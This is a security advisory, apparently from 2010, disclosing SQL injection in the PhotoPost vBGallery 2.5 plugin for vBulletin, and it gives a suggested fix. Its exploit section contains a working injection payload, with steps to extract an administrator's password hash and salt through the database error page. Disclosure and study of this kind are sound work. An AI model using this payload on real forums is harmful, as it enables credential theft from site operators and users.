SQL Injection Vulnerabilitie in PhotoPost vBGallery 2.5

[Andreas Kirbach <andreas.kirbach () gmxpro de>]

Product Imnformation
--------------------
PhotoPost vBGallery is a popular commercial Image Gallery Add-on für 
vBulletin which is being developed by All Enthusiasts, Inc.
http://www.photopost.com

Description
-----------
PhotoPost vBGallery 2.5 allows the user to modify gallery settings for 
his profile page if the function is enabeld and the user has permission 
to do so.

For this function to work, PhotoPost vBGallery adds a Plug-in to hook 
profile_start.
The PHP code on this plug-in is being used to display a form which does 
allow the user to customize the settings and save the settings into the 
database.

The SQL constructed for action updatevbgallery does contain variables 
that are not properly sanitized:

The POST variables profile_include and profile_exclude are treated as 
HTML-Safe strings ad unses with the SQL directly althou only 
commaseparated integers are valid.
POST variable profile_showimg is also processed as a HTML-safe string 
altouth only integer values are valid.
POST variable profile_column is also processed as a HTML-safe string but 
not being made SQL-safe.
POST variable array profile_imagebitdisplay is being stored without 
being made SQL-safe

Versions
---------
Affected Version(s): 2.5
Not affected Versions: Versions prior to 2.5

Exploit
-------
This exploit shows how the get the password hash and salt of an 
administrator account.

Preconditions
- No table prefix is being used
- The gallery functions are enabled for member profiles
- User-ID of an adminitrator account is 1
- The vBulletin database error page is unmodified and shows the executed 
SQL as an HTML comment
- The account being used has permissions to modify gallery profil settings

1) Go to <forumroot>/profile.php?do=vbgalleryprofile
2) Using Firebug, remove the maxlength attribute for the input labeled 
Exclude Catagories
3) Enter
   ', profile_exclude = (SELECT CONCAT(password, '|||', salt) FROM user 
WHERE userid = 1), profile_include = '
   into the imnput field Exclude Catagories
4) Submit the form
5) Access your own profile page (<forumroot>/member.php?u=X)
5) The HTML source of the database error page will contain an HTML 
comment like
---
Invalid SQL:

    SELECT  imageid, images.title, images.description, filename, 
thumbname, originalname, extension, images.catid  ,images.userid, 
images.username, images.description, images.dateline, images.views, 
posts ,width, height, originalwidth, originalheight ,filesize, 
originalfilesize, images.lastpostdateline, images.lastpostuserid, 
images.lastpostusername, votenum, votetotal, categories.title AS cattitle
    FROM ppgal_images AS images
    LEFT JOIN ppgal_categories AS categories USING (catid)
    WHERE  valid = 1  AND images.userid = 5


AND images.catid NOT IN (abcdef12344777148822d7530f089fbd|||.%&/)
AND images.thumbname != ''
---
The string after "AND images.catid NOT IN ("  is the password hash and 
salt of user ID 1 separated by |||

Suggested Fixes
---------------
Properly sanitize user input and run strings trough $db->escape_string() 
before saving them into the database

Patches
-------
All Enthusiasts, Inc. was informed about this vulnerbilitie on 
2010/03/17 but has not yet released a patch.